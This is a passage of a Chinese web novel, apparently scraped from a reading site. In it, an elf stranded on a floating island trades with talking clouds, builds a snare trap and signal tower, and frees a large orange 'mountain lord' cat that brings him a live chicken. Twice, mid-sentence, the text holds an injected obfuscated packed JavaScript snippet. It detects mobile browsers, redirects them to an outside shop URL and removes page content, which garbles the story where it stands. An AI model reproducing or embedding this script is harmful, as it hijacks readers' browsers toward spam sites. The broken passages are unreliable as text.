《浮空岛求生,但种田囤货养毛绒绒》 7. 求生第二步:注意别误伤了原住民 盛棠快步走到那片云绒面前,小心翼翼的捧起那团云绒。 【最柔软的云绒(朵)*40】 【分类:材料】 【状态:簇新】 【介绍:来自于云云的真心馈赠。是最柔软的云绒呀,每朵云每个月仅能凝聚出少量,轻盈若无物,但保温效果奇好。】 【备注:收下这朵云绒,你就是云云盖章认证的好人啦!云云会悄悄帮你宣传哒!保证没有坏云打扰你哦!不过,云云可以天天吃到香香的气息吗?】 盛棠看着备注,只觉得心像是被羽毛轻轻挠了一下,软乎乎的。 带着点婴儿肥的脸上不由得绽放了一个大大的笑容,连尖耳朵都跟着愉悦的颤了颤。 一份土豆泥不仅换来了云云的认可,还能收集到这么多朵云绒!这笔交易可真划算呀! 盛棠喜滋滋的将这一大团云绒收了背包。 几乎是同时,建造里【石纺坠】右下角那个灰扑扑的的小扳手图标亮起了莹莹绿色。 “欸!能用了欸!”盛棠眼前一亮,赶紧把那个【石纺坠】拿了出来。 【石纺坠】刚一入手,就轻飘飘的飞上了眼前,一个半透明的窗口忽得弹了出来。 【检测到优质纤维材料:最柔软的云绒(朵)*40。】 【是否使用‘石纺坠’进行纺织加工?】 【A:立刻开始!搓线搓线,迫不及待!】 【B:稍等一下,我再考虑考虑别的用途……】 “有什么好犹豫的呢?当然是立刻做出来看看呀!” 盛棠用力一点,下一秒,背包里对应的材料消失了,一团毛茸茸的线团忽得出现在他的手心里。 【云绒线(米)*10】 【分类:材料】 【状态:簇新】 【介绍:由最柔软的云绒精心纺织而成。线体质地轻盈无比,触感亲肤温和,柔韧度极佳,似乎还保留着一丝云朵特有的纯净气息。是制作贴身织物或精细工艺品的上佳材料。】 【备注:真的只是亲肤而已吗?云朵的赠礼,或许藏着更多意想不到的小小奇迹哦~】 盛棠蹭了蹭那团云绒线,微微飞起的毛絮蹭过面颊,有点儿痒fufu的。 好东西啊好东西。 盛棠幸福的眯起了眼睛。 如今用这个织成围巾的话,一定能舒舒服服、温温暖暖的度过今晚了吧? 可惜了,这团线还有更重要的使命呢。 盛棠惋惜的又蹭了蹭这团云绒线,转而再次看向了【建造】。 果然,【简易捕兽陷阱(套索触发式)】的图标也亮起了绿色微光。 他立刻点开,一个半透明窗口弹了出来。 【检测到材料:硬木棍(1/1),硬木拐棍(带凹槽)(1/1),硬木短棍(带凹槽)(1/1),绳索(3/10)。】 【是否建造简易捕兽陷阱?】 【A:立刻开始!陷阱!会动的食材,我来啦!】 【B:稍等一下,我再考虑考虑别的用途……】 “食材!”盛棠的眼睛蹭了一下就亮了,那点对围巾的不舍瞬间被对肉食的渴望取代,“做做做!立刻开始!” 他毫不犹豫的点了A。 背包里的材料立刻消失了,一个结构精巧,由木棍和洁白云绒线构成的物件出现在他的背包里。 盛棠立刻拿出来看。 【简易捕兽陷阱(套索触发式·云绒线版)】 【分类:工具】 【状态:簇新】 【介绍:利用杠杆与套索原理制成的便携式陷阱。云绒线构成的套索极其坚韧且难以察觉,且自带吸引天赋,不需要诱饵。对中小型生物有良好的捕获效果。可重复使用,但每次触发后需重新布置。】 【备注:可在资源区开放后进行放置,但请务必记得及时回收。爱互相帮助的小动物们总会有办法逃脱的。】 “太棒了!”盛棠圆乎乎的脸上绽开一个大大的笑容,眼睛亮晶晶的,“不愧是云云们最柔软的绒毛!连诱饵都省了!” “为了感谢云云!今天会有更香的东西哦!” 云朵们立刻激动了起来,快乐的声音顺着风落入了盛棠的耳朵里。 “不客气不客气!云云应该做的!” “香香!云云最喜欢香香了!你说的哦!” “好期待哦!新的香香呢!” 上午十点整,熟悉的窸窣声准时响起。 挡在草甸区入口的那堵云朵墙壁缓缓向两侧退开,露出后面那片绿意盎然的区域,以及远处隐约可见的,挂着“文明的产物”的树影。 手里的捕兽陷阱突然飞到了半空,一个半透明的系统窗口猝不及防地跳到了他的眼前。 【请选择投放地点。】 随着这句话的出现,眼前广阔的草甸区瞬间被打上一层浅绿色方格,每个格子约莫1个平方,一直延伸到视野尽头被云朵墙壁阻挡的区域。 “哇哦!”盛棠微微吸了口气,带着点婴儿肥的脸上露出些许惊讶。 他第一次探索时就觉得这片草甸区域不小,但没想到居然这么大。 光是眼前能完整看到的方格,就有足足30乘30之多。 剩下的一些虽然被云朵墙壁挡着,只露出了一半或者三分之一,可都是绿色的,说明那些是完整的格子。 “这岛……向下到底还有多深?难道,被云层阻隔的地方还有土地不成?”盛棠忍不住嘀咕出了声。 他眨了眨眼睛,感到有一丝丝的不可思议。 如果是这样的话,这还能被简单地称作“浮空岛”吗?说是一座悬浮的“山”,似乎更贴切些了吧? 会是什么山?珠穆朗玛峰,那个世界屋脊吗? 盛棠想着想着,噗嗤一下笑出了声来。 嗨,想什么呢!这里虽然一切和地球一样,但又不是真的地球! 而且珠穆朗玛峰……如果真是那种高度,我现在呆的地方应该是冰川带才对啊。 不止冷得要命不说,往下顺延的资源区也应该是流石滩,而不是草甸带呀,怎么可能人在流石滩,资源却在草甸带呢? 盛唐摇了摇头,抬起双手往脸上拍了拍,笑了起来:“管它呢!有多大以后慢慢探索就知道了。现在嘛……” 他看了看飘在眼前的【简易捕兽陷阱】,又看了看被网格化的广袤草甸,嘴角扬起一抹充满干劲的笑:“先给未来的‘肉食供应商’们,挑个送货区吧!” 不看不知道,一看,盛棠立刻发现了端倪。 这些半透明的浅绿色方格可不是随意划分的,而是依据草甸上植被的实际疏密情况生成的。 有些方格内草窝异常茂密厚实,几乎看不到地面。而另一些则光秃秃的,连浅色的地皮都裸露在外。 盛棠眯着眼睛仔细打量过每一个格子,终于找到了给两侧的草窝长得格外茂盛浓密,中间却蹊跷地露出一条寸草不生的狭长地皮,上面还散落着几颗小小的、圆滚滚的深色粪球的格子 就是这了!两侧有能做天然掩体的茂草,中间还有条供动物路过的小路,简直是天选之地! 盛棠舔了舔嘴角,选中这个格子后,毫不犹豫的将【简易捕兽陷阱】给落了下去。 【简易捕兽陷阱已放置。】 【位置:草甸区(X:12,Y:07)】 【状态:已布设(等待触发)】 【提示:位置极佳(捕获成功率+20%)。请定期查看,收获或重置需手动操作。】 做完了这一切,盛棠特意看了下时间:【星月历7045年3月8日A.M.10:45:57】。 现在距离资源区彻底关闭还有十九分钟,深入挖掘探索肯定是来不及了,但去树上“捡”点现成的“文明遗迹”,时间还是绰绰有余的。 盛唐这么想着,快步进入了资源区。 他先看把树上的那五个箱子取了下来,收入背包,然后看向树杈上的物品。 和第一天相比,今天落在树上的物品明显少了很多。都是些被各种颜色、质地的破布或织物包裹着的小件物品。 从布料被顶出的形状来看,里头的物品有大有小,形状还不规则,有长条形的,有多边形的,甚至还有些带着个明显凸起的角。 那个凸起的角看起来超级尖锐,都把包裹它的布料磨出了毛边。 这是什么东西?看起来很尖锐的样子? 啊!不管了!时间紧迫,先捡回去再说! 盛棠小心翼翼的把这些东西全部取下来,又赶着资源区关闭前,回到了安全的生活区。 上午十一点零五分,资源区准时关闭。 四散的云朵们又慢悠悠地聚拢回来,重新形成那道熟悉的云朵墙壁。 好些云团都好奇地探出小小的云团子,努力地朝盛棠的手里张望,整个云朵墙壁边缘看起来跟炸了毛似的,毛茸茸的。 一些细微的声音顺着暖风落入了盛棠的耳朵里。 “回来啦回来啦!大好人!拿到什么好东西啦?” “是不是有更香更香的东西!你刚刚答应云云的!” “让云云看看嘛!就看一下下!” “那个尖尖的!布包着的!是什么呀?闻起来有硬硬、腥腥的味道!” “云云好想知道!给云云闻闻……啊不是,看看!” 盛棠被云朵们这副急切的模样给逗笑了,眉眼都弯成了月牙。 他盘腿坐在砾石地上,小心地解开第一个破布包裹。 里面的东西露出的刹那,他的呼吸猛地一滞。 居然是几块形状规整的木材! 他手指有些发颤,立刻去解第二个、第三个包裹…… 【木材】、【石块】,甚至还有几片闪着冷硬光泽的【金属碎片】,陆续出现在他眼前! 材料!居然是材料!是他心心念念,建造信号塔所急需的基础材料! 盛棠的眼眶不受控制地微微发热,泛起了一层薄红。 一直紧张围观的云朵们见状瞬间慌了神,小云团们纷纷啵唧”一下从主体分离出来,轻轻贴上了盛棠的脸颊。 “不哭不哭!是不是东西不好?你不喜欢呀?” “对呀对呀!别难过!这些硬邦邦、冷冰冰的东西是不是没用?” “可是……可是之前每个‘掉’下来的人,好像都很需要这些呀……” “人!不喜欢不要紧的!你要什么呀!跟云云说!云云超厉害哒!云云能弄来的!云云明天给你好不好!” 盛棠吸了吸鼻子,露出了大大的笑容:“不用啦!我就需要这个!谢谢你们!这真是最好的礼物了!” 云朵们终于彻底松了一口气,整片云朵墙壁都跟着波动啦起来,发出细碎愉悦的“呼呼”声。 “那就好那就好!” “云云就说嘛,这个肯定有用!” “他喜欢!太好啦!” “那下次还……” 等等…… 他刚才……是不是直接回答“云云”的话了? 贴在盛棠脸上的小云团猛地僵住了。 下一秒—— “诶——?!!” 一声尖锐短促惊呼声猛然从那个小云团子里爆发了出来。 它“咻”地一下弹了出去,慌不择路地一头撞进身后厚实的云朵墙壁里,溅起一小片慌乱的云浪。 紧接着,整片云朵墙壁都像是清醒了过来一样,剧烈的震颤起来,连刚才还毛茸茸的边缘都跟被吓坏了一样,一收一缩,距离的颤抖着。 “他他他……他刚才回话了!” “他能听懂!他能听懂云云说话!” “天呐!好可怕!妈妈没说过人类能听懂云话呀!” “不是人!他不是人!他是尖耳朵的!人是圆耳朵!” “那他说什么东西?” “那更可怕了!他会不会是传说中的……会吃云的怪物?!” “快藏好快藏好!把云绒都收起来!” 云朵墙壁的高度都因此矮了一小截,只敢从最顶端露出一点点眼睛的形状,紧张兮兮地偷看着地上那个突然变得高深莫测的尖耳朵少年。 盛棠:“……” 他脸上的笑容僵住了,伸出去想挥一挥的手也停在了半空 啊哦!好像……不小心暴露了。 他挠了挠脸颊,看着那堵缩成一团、如临大敌的云朵们,有点不好意思地清了清嗓子,努力让自己的表情看起来更无害一些:“那个……云朵朋友们?你们别怕,我真的不是东西——” 盛棠说到一半觉得不对,这怎么还骂上自己了? 他赶紧改口:“不不不,我是东西——不对!我不是人,我是精灵!精灵啦!” 他有点着急,生怕解释不清,干脆伸手拽着自己尖尖的耳朵往前拉了拉,努力让云朵们看得更清楚一点。 “你们看!尖耳朵!精灵!就是那种……对花草树木很好,能听懂风声和泉水说话的精灵!所以能听懂你们说话,也不奇怪吧?” 云朵墙壁的翻涌渐渐平息了一些,但依旧紧紧缩在一起,带着满满的警惕盯着他。 不过,倒是有几团胆子特别大的小云团子,悄悄地从厚实的云朵墙壁边缘探出身子,小心翼翼地绕着盛棠飘了几圈,上上下下地打量着他。 其中一团最活泼的云团子突然“哇”地一声,像是发现了什么惊天大秘密,飞快地冲回□□面前,激动地左右拉扯着自己的身体,做出各种夸张的变形动作。 “是真的!真的是尖耳朵精灵!你们还记得吗?之前从我们头顶飞过去的那朵旅行云沃尔沃说过!它守护的那个会发光的小岛上,就住着这样的精灵朋友!沃尔沃说那个精灵可好啦!会帮它们下雨后梳理云絮,还会用好听的歌声叫它们起床上班呢!” 这话瞬间勾起了云朵们的记忆,方才还警惕万分的云朵们立刻松懈了下来,七嘴八舌的议论了起来。 “啊啊啊我想起来了!是有这个精灵的!能听得懂云话,很厉害的!” “对对对,据说还对云很好呢!会满足云很多小愿望的精灵!” “所以,人——哦不,精灵也是精灵吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16968992|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“太好啦!我们也有神奇的精灵朋友啦!” 盛棠刚松了的那小口气,瞬间又被更大的兴奋给顶了上来,心脏也噗通噗通跳得飞快。 也就是说……这个世界里,真的还有和他一样的精灵? 那可真是太好啦! 他已经太久太久没有见过同族了,久到都快忘了和其他精灵聊天是什么感觉! 现在光是想到可能有个“老乡”就在这片天空的某个地方,他就激动得坐不住,恨不得现在就长出翅膀飞出去找! “那你们知道那个精灵现在具体在哪儿吗?”他迫不及待地追问,“要怎么才能联系上他呀?” 云朵们安静了一小会儿,似乎在努力回忆和思考,然后有些抱歉地轻轻晃动身体。 “云不知道诶……但是云听沃尔沃说,它现在住的那个岛可大了!而且好像还能自己控制着,在云海里慢慢地飞呢!说不定……说不定它以后会飞过来找你玩呢?” “对啊对啊!或者……你可以造一个信号塔呀!信号塔不是可以和很远很远的地方联系吗?说不定,你就能通过那个塔,联系上那个精灵呢!” 盛棠眼前一亮,激动的连鼻尖都红了。 对啊!信号塔! 他怎么把这个给忘了! 那可是跟能主动联系外界的宝贝呀,造出它不比被动等待要有希望多了? 说干就干,盛棠赶紧把地上的东西全部收进了背包。 【建造】里,【简易信号塔】的图标亮起了浅浅的绿光。 【检测到材料:木材(10/10),石材(5/5),金属碎片(3/3)】 【是否建造简易信号塔?】 【A:立刻开始!受不了啦!我现在就要和外界联系!】 【B:稍等一下,我再考虑考虑别的用途……】 盛唐毫不犹豫的选了A。 背包的用于建造【简易信号塔】的材料立刻消失了,一个由木材为骨架、石材作基座、镶嵌着金属节点的塔状虚影出现在他的眼前。 【请选择信号塔的投放地点。】 盛棠想了想,把信号塔放在了整片流石滩最高的那个地方。 信号塔……信号塔……顾名思义,信号要好,肯定得放在又高、又没东西挡着的地方吧? 盛棠挠了挠脑袋,又些不大确定的想。 【简易信号塔建造完成!】 【位置:安全区-高地(X:05,Y:20)】 【状态:已激活(信号搜索中……)】 【提示:信号塔已开始尝试接收特定频段信号。接收到信息时将给予提示。当前信号强度:微弱。】 做完了这一切,一股难以抵挡的疲惫感瞬间淹没了盛棠。 他控制不住地打了个大大的哈欠,连眼角都挤出了生理性的泪花。 好困啊……眼皮沉得像灌了铅,思维也变得黏黏糊糊。 他迷迷糊糊地想,眼睛要睁不开了…… 不行,得回帐篷去睡…… 念头还没转完,身体就已经先一步背叛了意识。腿一软,整个人毫无预兆地向前一栽,直接倒在冰冷的砾石地上,瞬间陷入了深度睡眠。 “啪嗒。” 握在手里的手机滑落在地,亮起的屏幕上,人物状态栏里,原本健康的【精力值】此刻赫然显示着5/100。 下方还多了两个触目惊心的黑色BUFF。 【重度疲倦】:过度消耗精力导致的深度衰竭状态,身体机能严重下降。 【已昏迷】:执行者因极度疲劳或健康值归零而失去意识。处于此状态时,无法进行任何操作。 紧接着,一行系统提示自动跳了出来。 【检测到执行者盛棠因精力耗尽陷入深度昏迷。健康值将以每小时3点的速度持续下降,健康值归零,执行者将死亡。】 【请问附近的‘云监管单元’是否提供临时救助?】 云朵们似乎接收到了这条信息,它们聚拢在一起,云絮互相碰了碰。 几秒钟后,只见几朵最大、最蓬松的云团缓缓下沉、舒展,彼此融合、拉长,渐渐变成一张厚实柔软,边缘微微卷起的巨大云毯。 云毯子轻飘飘地落在蜷缩在地上的盛棠身上,将他从头到脚包裹了起来。 …… 一觉醒来,神清气爽。 盛棠迷迷糊糊地睁开眼,首先感受到的是身上异常的轻盈与柔软,以及一种被包裹住的温暖。 他眨了眨眼,几秒后才彻底清醒,猛地坐起身。 覆盖在身上的“云毯”随着他的动作滑落,堆叠在腰间。他茫然地看了看四周,又抬头看了看天色。 太阳已经明显西斜,在云海上洒下大片金色的余晖。 “我睡了多久?”他慌忙抓起掉在一旁的手机,点亮屏幕。 【星月历星月历7045年3月8日P.M.3:55:48】 诶,他居然睡了将近四个小时?!建造这么消耗精力的吗?! 盛棠倒抽了一口凉气,赶紧查看状态。 【精力值:82/100】 【健康值:97/100】 那两个黑色BUFF倒是彻底消失了,没落下一丝一毫的痕迹。 盛棠忍不住皱起了眉头,不应该啊……4个小时而已,应该只加了20点才对啊。 如果用现在的精力减去20的话……62点,轻度疲倦,比昨天玩手机消耗的还少呢! 昨天都没昏迷,今天为什么会突然昏迷了? 腰间那堆蓬松的云毯子动了动,一个角抬起来,轻轻蹭了蹭他的脖子。 带着点关切的声音在他耳边响起。 “醒啦醒啦!感觉还好吗?” “你突然就倒下去,吓坏云云了!” “那个小方块一直闪红光,说你要‘嗝屁’了!云云们赶紧给你盖了被子!” “你睡得好沉哦,怎么都叫不醒,云云们只好轮流守着你啦。” “现在看起来好多啦!脸不白了!” 盛棠呆呆地听着这一连串七嘴八舌云语,又低头看了看身上这床独一无二的云毯子,终于反应过来发生了什么。 所以……刚才他真的因为耗干了精力值而直接昏倒了? 但多亏了这些云朵邻居,他才没有损失太多健康值,甚至连精力都恢复了大半? 盛棠轻轻吸了口气,脸颊微微发烫,有点心虚,但更多的是感激。 多好的云朵邻居啊…… 做饭!必须狠狠做饭!做好多好多、好香好香的饭来报答他们! “谢谢……”盛棠又些不好意思的低下头,“谢谢你们救了我。我……我没事了,感觉好多了。” 云朵们欢呼一声,咻的一下从他身上飞起,恢复成了云朵墙壁的模样。 下午四点,资源区再次开放了。 可还没等盛棠迈步走向那片绿意,一个陌生的提示音出现在他的耳边。 【高能预警!您的猫邻居携“神秘食材”一份,正全速冲向陷阱区域,即将上演“自投罗网”的好戏!】 8. 自投罗网的山君大人 提示音一落,一声高亢的“喵呜呜呜~”便从草甸深处传来。紧接着,口袋里的手机嗡嗡震动了一下。 盛棠赶紧掏出手机看,【建造】界面上,那个【简易捕兽陷阱】图标正闪烁着诡异的红光。 “糟了!我的陷阱!”盛棠哀嚎了一声,压根儿顾不上细想“猫邻居”和“神秘食材”究竟是个什么组合,拔腿就往坐标点冲。 等拨开茂密的草丛,眼前的景象让他脚步一顿,差点笑出了声。 那个毛绒绒的套索正不偏不倚地套在一只……圆滚滚的橘猫的脖子上。 这猫似乎被养的极好的样子,整个猫吃的圆滚滚的,两腮的毛发格外蓬松饱满,远远的看过去,好大一个。 连套在它脖颈处的云绒线都似乎被遮了个干净,只能在它毛发被风吹起的时候,看见点若隐若现的影子。 它那大脑门上还有三簇颜色略深些的毛,似乎被什么东西打湿了,虽然东倒西歪的厉害,但隐约还是可以看出那应该是个“王”字。 那猫儿倒是没怎么挣扎,反而像个大爷似的端坐在原地,只是那条毛茸茸的长尾巴有些不耐烦地在地上扫来扫去,扬起一小片混杂着草屑的轻尘。 它的旁边还放着个鼓鼓囊囊的大包裹。是宽大的棕榈叶裹着的,竹叶做的绳子捆扎得十分严实,体积几乎和猫儿大半个身子一般大小。 包裹里面显然是个活物,叶片时不时就被从内部顶出一个个小鼓包,还时不时的溢出几声沉闷的“咕咕咕”。 盛棠的视线不由自主地多在那棕榈叶上停留了几秒,腮帮子微微鼓起,困惑地歪了歪头。 奇怪……这里不是高山草甸区吗?气候偏凉不说,除了那挂“文明的产物”的树外,其他像样的树一棵都没有的,怎么会出现这种通常生长在炎热海岛地区的棕榈叶? 那猫儿见有人来了,这才不慌不忙地抖了抖身上蓬松丰厚的毛发,慢悠悠站起身来。 这一站,盛棠才发现,这猫远比他想象的要大得多了。 不只是身形壮实,四肢矫健,那站起来的高度,都快到他的腰际了。 一身橘色毛发更像是被这微微泛红的天光镀了层暖融融的边似的,威风凛凛的,颇有几分山野霸主的气概。 盛棠忍不住在心里泛起了嘀咕:“这明明就是只猫啊……猫身上,怎么会有这种“山野霸主”的气势?莫非是光影错觉?” 不过这转瞬即逝的疑惑,在看清猫接下来的动作后,就“啪”地一下彻底消散了。 这大家伙的脑子显然不太灵光。它似乎完全忘了自己脖子上还套着个要命的云绒绳套,迈开矫健的步子就气势汹汹地朝盛棠走来。 结果刚踏出两步,脖子上的套索便猛地绷直,它一个收势不及,整个壮硕的身躯瞬间失衡,“啪叽”一声,结结实实摔了个四仰八叉,在地上摊成了一张巨大的“猫饼”。 这一跤摔得动静还不小呢,连带着旁边那个鼓鼓囊囊的大包裹都被它撞得滚出去两三米。 里头的活物受了大惊吓,传出一阵更加凄厉绵长的“咕咕咕咕——!!”,整个包裹也跟着胡乱颤动。 盛棠:“……” 好吧,刚刚他一定是看错啦! 不过,之前是谁言之凿凿说猫的智商普遍比狗高的? 眼前这只大家伙的智商,恐怕连村口那只追着自己尾巴能转上半小时的傻狗二哈都比不上! 至少二哈不会在同一个绳套上栽两次跟头,还栽得如此……荡气回肠。 那大猫似乎也被自己这一连串的蠢操作给打击到了,干脆破罐子破摔,也不急着起身了。 它原地滚了半圈,两只厚实的前爪往耳朵上一搭,直接把那张硕大的猫脸埋进了草地里,只留下一个圆滚滚、毛茸茸的大屁股高高撅起,对着盛棠的方向,好一副“没脸见猫”的自闭模样。 “咪呜呜……”猫儿发出了委屈的声音。 盛棠看的哭笑不得,他赶紧上前几步,在大猫旁边蹲下,伸出手试探性地摸了摸那颗毛茸茸的大脑袋。 那毛茬入手的感觉有些奇特,硬邦邦的,一点都不像家猫的毛发那般柔软顺滑。 盛棠心疼极了,这得是多不会照顾自己的猫啊? 瞧这身粗硬的皮毛,也不知道在外面吃了多少苦,连基本的梳理都做不好,肯定受了不少委屈吧? “好啦好啦,没事了,这就帮你解开。”他一边柔声哄着,一边小心翼翼地摸索到缠在猫脖子上的云绒绳套。 这绳套其实捆得并不紧,但对于这只显然从未受过束缚的大家伙来说,肯定是极不舒服的。 盛棠熟练地找到活扣,轻轻一拉,那坚韧的云绒绳套便松脱开来。 猫儿立刻一甩脑袋,将已经完全松开的绳子甩到了一边。 “以后在外面千万要小心点呀,”盛棠一边将【简易捕兽陷阱】收回建造列表,一边对猫儿叮嘱道,尽管他知道对方可能听不懂,“幸亏这片区域刚好开放了,不然你可得在这儿挂一整夜了!” 想到这岛上夜晚骤降的低温,盛棠不由得打了个寒颤。 他看了一眼猫儿身上那层厚实却粗糙的皮毛,有些不确定地想:这身毛……能扛住那种寒冷吗? 看来以后放置陷阱得更加小心才行,得选更隐蔽、更不容易误伤这些“原住民”的地方。 盛棠暗自记下,随即伸了个懒腰,将注意力转回今天的正事——探索资源区。 不过,今天的运气似乎没有昨天那么好了。 他在附近仔细搜寻了一圈,也只在一处岩石背风的缝隙里,找到了几株有些蔫头耷脑的九层塔。 【九层塔*5】 【分类:食材/香草】 【状态:略显萎蔫,但香气尚存】 【介绍:常见的芳香草本植物,气味独特,是许多菜肴的点睛之笔。】 【备注:人!这里是咪准备的九层塔,听说可好吃啦!你喜欢吗?】 “就这点收获啊……”盛棠略感失望地叹了口气,将这几株九层塔小心地收好。 虽然状态不佳,但清洗一下,或许还能用。 他直起身,拍了拍手上的泥土,一回头,又看见了那只大猫。 它似乎要离开的意思,就这么不远不近的跟在盛棠的旁边。 见他看了过来,非但不跑,反而就地一蹲,那双琥珀色的大眼睛静静地看着他,尾巴尖有一下没一下地轻轻拍打着地面。 嘴里还咬着那个刚刚被他震远了的包裹,里头时不时的传出些“咕咕咕”的声响。 盛棠愣了愣,这是要做什么?要跟他回家吗? 盛棠有些不大确定,他小心翼翼的朝着猫儿的方向走了几步,见猫儿没有要躲的意思,这才挠挠头,走过去蹲下身,保持着能与猫儿平视的高度,用尽可能温和的语气问道:“你……要不要跟我回去?” 他指了指流石滩的方向:“我那儿虽然不大,但至少有片能挡风的地方。总比在这野地里强。” 而且,今晚过后,他就有小木屋啦!那个不仅更温暖,安全性似乎也更高一些。 猫儿歪了歪头,耳朵微微转动,似乎在认真考虑他的话。 半晌,猫儿点了点头,叼着包裹的嘴巴一松,任由包裹砸落在地上。 “咕咕咕——!咕咕——!”包裹里立刻传来一阵更惊慌的扑腾和惨叫。 猫儿看都没看那包裹一眼,只是伸出前爪,用肉垫小心翼翼地将包裹往盛棠的方向推了推。 “这……是给我的?”盛棠看着被推到脚边的“礼物”,还是有些难以置信。 猫儿再次点点头:“嗷——咪,咪呜~” 盛棠不好意思的笑了起来,好吧,这应该是猫儿送给他的见面礼?或者上充当借宿一宿的谢礼? 嗨,这有什么?他可是个好精灵,好精灵是不会拒绝一只主动上门的猫儿的! 他弯下腰,拎起那个沉甸甸的包裹,习惯性地掂了掂,估摸着有两斤多重。 手指下意识地捏了捏,里面的活物显然受了惊吓,立刻左冲右突地挣扎起来,隔着厚厚的叶片,只能摸出个大概轮廓,似乎是个有翅膀的东西。 他下意识地看向身旁的猫儿,刚想问“这里面到底是什么”,可一对上那张毛茸茸的、带着点理所当然神气的猫脸,再听到那声拖着尾音、黏糊糊的“咪呜呜——”,到嘴边的话又咽了回去。 算了,问也白问。 盛棠在心里默默的叹了口气,有点懊恼。早知道有今天,当年在精灵族学魔法的时候,真该多选修一门《大陆通用兽语入门》。 也不至于现在跟一只大猫在这儿大眼瞪小眼,全靠猜谜交流了。 他抬头看了看天色,夕阳已将云海彻底染成金红。 呜,时间差不多了。盛棠吸了口气对猫儿招了招手:“走吧,我们回去。” …… 盛棠时间掐得刚刚好。 他前脚刚踏进流石滩的安全区范围,后脚,四散的云就黏黏糊糊的围了回来。 等云朵墙壁再次成了形,那些云们才期待的看向盛棠,然后被吓坏了。 大片大片的云开始四处乱窜,云边边的瞬间变得毛茸茸的,连平日蓬松飘逸的绒毛都跟立起来了。 胆子小些的云团更是拼命往□□中心挤,你推我搡,缩成一团瑟瑟发抖。 窸窸窣窣带着惊恐的声音顺着风落进了盛棠的耳朵里。 “天呐!这个精灵胆子好大!怎么把这个大家伙带回来了!他不怕吗!” “啊啊啊啊!是山君!山君!谁来救救云!云不要成为山君的腹中餐呜呜呜!” “精灵精灵!你让山君走好不好!不要山君,我们不要山君!” 盛棠听着这话,看着那些明显被吓坏了的云,又低头看着趴在地上,连个眼神都懒得给云的猫儿,陷入了迟疑。 云云说,这猫儿是……山君?可山君不都是老虎吗?但眼前这个…… 盛棠对着这只猫儿左看右看,上看下看,愣是没法子把这只肥肥的橘猫和老虎挂上钩子。 猫儿终于动了,它抬起爪子,拍了拍盛棠手里的包裹,不轻不重地拍了拍盛棠手里那个还在微微颤动的包裹。 毛茸茸的大脑袋一歪,整个凑了过来。湿漉漉黑鼻子就这么明晃晃地贴在了棕榈叶包裹上,用力嗅了嗅。 包裹里的活物似乎察觉到了什么危险的气息,明明刚刚还在挣扎着,现在就安静如鸡了。 猫儿似乎对这个“识相”的表现很满意,圆溜溜的琥珀色眼睛眯了起来,伸出粉红色舌头,在包裹表面舔了一下,然后把那只刚刚拍过包裹的爪子轻轻搭在了盛棠提着包裹的手腕上。 猫儿抬起头,目光炯炯的看着盛棠,肚子也恰好咕噜噜的叫了好响的一声。 盛棠眼睫一颤,被这突如其来的“腹内雷鸣”惊得微微睁大了眼:“……?” 什么意思?这猫……难道是饿了?可这跟拍包裹、舔包裹、又把爪子搭我手上有什么关系? 倒是那些被吓坏了的云云们却明白了这只猫儿的意思,纷纷远远的翻译了起来。 “精灵精灵!山君说饿啦!快给山君上供品呀!” “精灵精灵!你手里的包裹是山君看上的食材!快给山君打开!快打开喂给山君!” “它舔过了!就是它的了!它把爪子都放在你手上了,就是在说‘两脚兽,快给朕处理这个,朕要用膳了!’” “呜哇!果然是昨天精灵做的饭太香了吗?连山君都被香味引下山,亲自带着食材上门点菜啦?!” “精灵精灵快答应它!山君平时虽然有点……嗯,但它带来的食材一定是最好的!做出来一定超级——香!” “对啊对啊!如果他今天吃满意啦,那你在这岛上才算真正过了明路呢!以后到了资源区,山君会保护你哒!” 盛棠:“……” 所以,现在的情况是这只疑似本地“山大王”的大猫,因为闻到了昨天食物的香气,所以今天特意带着自己养的“顶级食材”,主动“送货上门”,甚至不惜“以身试套”,就为了……蹭他一顿饭? 这发展,可真是……令人意想不到!盛棠有些哭笑不得。 不过仔细想想,用一顿饭的代价来换取这位“山大王”对资源区的潜在庇护或至少是不打扰,这笔买卖似乎……完全不亏? 盛棠想到这里,摇了摇头。好吧,准确的说,不是不亏,而是自己赚大发了。 他掂了掂手里沉甸甸的包裹,对着面前正眼巴巴望着自己的“山君大人”笑了笑:“好好好……明白了,山大……咳,山君大人,您稍等!小的这就为您处理这份‘贡品’!” 话音未落,他已经手脚麻利地从背包里掏出那把小刀,利落地划开了紧紧捆扎的棕榈叶。 随着叶片散开,里面包裹的东西也完整的露出来。说一只羽毛丰满、体型圆润的鸡。 这只似乎早已预知命运,此刻正僵直地躺在叶片中央,双目放空,连挣扎都省了,浑身散发着一种“要杀要剐悉听尊便”的生无可恋。 【走地鸡*1】 【分类:食材】 【状态:活鸡微死】 【介绍:由山君大人亲自饲养(并一路护送至厨房)的优质走地鸡。肉质紧实,风味浓郁,乃不可多得的上等食材。】 【备注:(来自山君的严厉声明)人!这是喵的鸡!喵要吃!不许偷吃喵的鸡!】 盛棠看着备注,噗嗤一下笑出了声。真是个护食又可爱的“山大王”啊。鸡不吃,那他跟云朵邻居们蹭点鸡汁当“加工费”和“闻香费”,总没问题吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16968993|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 盛棠倒是想熬鸡汤,可这…… 盛棠四处看了看,面露窘迫。家徒四壁的,连个像样的锅都没有,他实在做不到啊。 